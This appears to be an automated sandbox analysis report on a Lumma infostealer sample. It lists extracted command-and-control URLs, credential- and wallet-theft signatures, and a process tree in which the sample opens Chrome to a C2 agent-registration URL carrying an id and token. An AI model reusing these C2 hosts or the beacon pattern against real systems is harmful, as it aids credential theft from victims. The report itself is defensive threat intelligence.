Analysis

  • max time kernel
    149s
  • max time network
    146s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    01/06/2026, 16:53

General

  • Target
    tmp_pgo6y2m.exe
  • Size 3.3MB
  • Sample260601-vdzdssay2s
  • SHA256 946088c86cc566e43809d71d99680a385af3e407c25e0834fe6ac6e0af549db3
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Extracted

Family
  • lumma

C2
  • https://milnleny.cyou

  • https://decrnoj.club/xxx

  • https://pomflgf.vu/help

  • https://carytui.vu/caccc

  • https://mushxhb.best/info

  • https://genugsq.best/main

  • https://ulmudhw.shop/create

  • https://strikql.shop/owner

  • https://longmbx.click/manifest

Attributes
  • build_id

    4983d66969ed9c0e70bad96e055bad791bee

Signatures

  • Family: Lumma Stealer, LummaC

    Lumma or LummaC is an infostealer written in C++ first seen in August 2022.

  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • System Time Discovery 1 TTPs 1 IoCs

    Adversary may gather the system time and/or time zone settings from a local or remote system.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Modifies data under HKEY_USERS 2 IoCs
  • Modifies registry class 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 14 IoCs
  • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 12 IoCs
  • Suspicious use of FindShellTrayWindow 34 IoCs
  • Suspicious use of WriteProcessMemory 14 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\tmp_pgo6y2m.exe
    "C:\Users\Admin\AppData\Local\Temp\tmp_pgo6y2m.exe"
    1⤵
    • System Location Discovery: System Language Discovery
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:3116
    • C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" milnleny.cyou/api/set_agent?id=D18D7941BD24956701AEC7B30ADF174C&token=4983d66969ed9c0e70bad96e055bad791bee&description=&agent=Chrome
      2⤵
      • Checks processor information in registry
      • Enumerates system info in registry
      • Modifies data under HKEY_USERS
      • Modifies registry class
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of WriteProcessMemory
      PID:2184
      • C:\Program Files\Google\Chrome\Application\chrome.exe
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0xf8,0xfc,0x100,0x78,0x104,0x7ffcee0dc728,0x7ffcee0dc734,0x7ffcee0dc740
        3⤵
          PID:3668
        • C:\Program Files\Google\Chrome\Application\chrome.exe
          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1756,i,11418756974526087020,11815992110051647166,262144 --field-trial-handle=1972,i,2367860676270383980,11228642757293473751,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=1968 /prefetch:2
          3⤵
            PID:4664
          • C:\Program Files\Google\Chrome\Application\chrome.exe
            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=1588,i,17653649916100744971,15403113111698686397,524288 --field-trial-handle=1972,i,2367860676270383980,11228642757293473751,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=2240 /prefetch:3
            3⤵
            • System Time Discovery
            PID:728
          • C:\Program Files\Google\Chrome\Application\chrome.exe
            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2368,i,16759213262918124265,7431797956469183483,524288 --field-trial-handle=1972,i,2367860676270383980,11228642757293473751,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=2536 /prefetch:8
            3⤵
              PID:3700
            • C:\Program Files\Google\Chrome\Application\chrome.exe
              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3144,i,15747676228049823436,13252020487255903520,2097152 --field-trial-handle=1972,i,2367860676270383980,11228642757293473751,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=3176 /prefetch:1
              3⤵
                PID:1600
              • C:\Program Files\Google\Chrome\Application\chrome.exe
                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3156,i,18410383882719605531,8986675643323390226,2097152 --field-trial-handle=1972,i,2367860676270383980,11228642757293473751,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=3200 /prefetch:1
                3⤵
                  PID:1612
                • C:\Program Files\Google\Chrome\Application\chrome.exe
                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --force-high-res-timeticks=disabled --metrics-shmem-handle=4444,i,8582071405827966529,8485101603721686323,524288 --field-trial-handle=1972,i,2367860676270383980,11228642757293473751,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=4452 /prefetch:8
                  3⤵
                    PID:1208
                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=5236,i,13385359874259234429,8769963609738967179,524288 --field-trial-handle=1972,i,2367860676270383980,11228642757293473751,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5232 /prefetch:8
                    3⤵
                      PID:4176
                • C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
                  "C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
                  1⤵
                    PID:3836
                  • C:\Windows\system32\svchost.exe
                    C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
                    1⤵
                      PID:4636

                    Network

                          MITRE ATT&CK Enterprise v16

                          Replay Monitor

                          Loading Replay Monitor...

                          Downloads

                          BookmarkMergedSurfaceOrdering

                          • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BookmarkMergedSurfaceOrdering
                          • Size 6B
                          • SHA256 4489f9e3e454748b3521eb214e0a5694d562cff3d9ff511cb456953c8f534c00
                          • MD5 SHA1 SHA512

                          SCT Auditing Pending Reports

                          • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\SCT Auditing Pending Reports
                          • Size 2B
                          • SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
                          • MD5 SHA1 SHA512

                          Web Data

                          • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Data
                          • Size 138KB
                          • SHA256 9527dc30ea865dd07ec4edb37096937473961596ae410eda1ac34340137c060b
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          Last Version

                          • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Last Version
                          • Size 13B
                          • SHA256 e5efa9eb104cd0b25149c2e789bec8d9aa4ba95678831b657eef7780a281c391
                          • MD5 SHA1 SHA512

                          Local State

                          • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
                          • Size 115KB
                          • SHA256 e6e11589185862eb76741da35f240b618d71b60b96a49ca7d87bb8c215796232
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          memory/3116-41-0x00000000243B0000-0x00000000243B1000-memory.dmp

                          memory/3116-38-0x00000000243B0000-0x00000000243B1000-memory.dmp

                          memory/3116-55-0x00000000243B0000-0x00000000243B1000-memory.dmp

                          memory/3116-54-0x00000000243B0000-0x00000000243B1000-memory.dmp

                          memory/3116-53-0x00000000243B0000-0x00000000243B1000-memory.dmp

                          memory/3116-52-0x00000000243B0000-0x00000000243B1000-memory.dmp

                          memory/3116-51-0x00000000243B0000-0x00000000243B1000-memory.dmp

                          memory/3116-50-0x00000000243B0000-0x00000000243B1000-memory.dmp

                          memory/3116-49-0x00000000243B0000-0x00000000243B1000-memory.dmp

                          memory/3116-48-0x00000000243B0000-0x00000000243B1000-memory.dmp

                          memory/3116-47-0x00000000243B0000-0x00000000243B1000-memory.dmp

                          memory/3116-46-0x00000000243B0000-0x00000000243B1000-memory.dmp

                          memory/3116-45-0x00000000243B0000-0x00000000243B1000-memory.dmp

                          memory/3116-44-0x00000000243B0000-0x00000000243B1000-memory.dmp

                          memory/3116-43-0x00000000243B0000-0x00000000243B1000-memory.dmp

                          memory/3116-42-0x00000000243B0000-0x00000000243B1000-memory.dmp

                          memory/3116-0-0x0000000021FC0000-0x000000002201F000-memory.dmp

                          memory/3116-40-0x00000000243B0000-0x00000000243B1000-memory.dmp

                          memory/3116-39-0x00000000243B0000-0x00000000243B1000-memory.dmp

                          memory/3116-56-0x00000000243B0000-0x00000000243B1000-memory.dmp

                          memory/3116-37-0x00000000243B0000-0x00000000243B1000-memory.dmp

                          memory/3116-36-0x00000000243B0000-0x00000000243B1000-memory.dmp

                          memory/3116-35-0x00000000243B0000-0x00000000243B1000-memory.dmp

                          memory/3116-34-0x00000000243B0000-0x00000000243B1000-memory.dmp

                          memory/3116-33-0x00000000243B0000-0x00000000243B1000-memory.dmp

                          memory/3116-57-0x00000000243B0000-0x00000000243B1000-memory.dmp

                          memory/3116-1-0x0000000021FC0000-0x000000002201F000-memory.dmp

                          memory/3116-63-0x00000000243B0000-0x00000000243B1000-memory.dmp

                          memory/3116-65-0x00000000243B0000-0x00000000243B1000-memory.dmp

                          memory/3116-64-0x00000000243B0000-0x00000000243B1000-memory.dmp

                          memory/3116-66-0x00000000243B0000-0x00000000243B1000-memory.dmp

                          memory/3116-67-0x00000000243B0000-0x00000000243B1000-memory.dmp

                          memory/3116-72-0x00000000243B0000-0x00000000243B1000-memory.dmp

                          memory/3116-71-0x00000000243B0000-0x00000000243B1000-memory.dmp

                          memory/3116-68-0x00000000243B0000-0x00000000243B1000-memory.dmp

                          memory/3116-69-0x00000000243B0000-0x00000000243B1000-memory.dmp

                          memory/3116-70-0x00000000243B0000-0x00000000243B1000-memory.dmp

                          memory/3116-74-0x0000000001B90000-0x0000000001B96000-memory.dmp

                          memory/3116-75-0x0000000001B90000-0x0000000001B96000-memory.dmp

                          memory/3116-73-0x0000000021FC0000-0x000000002201F000-memory.dmp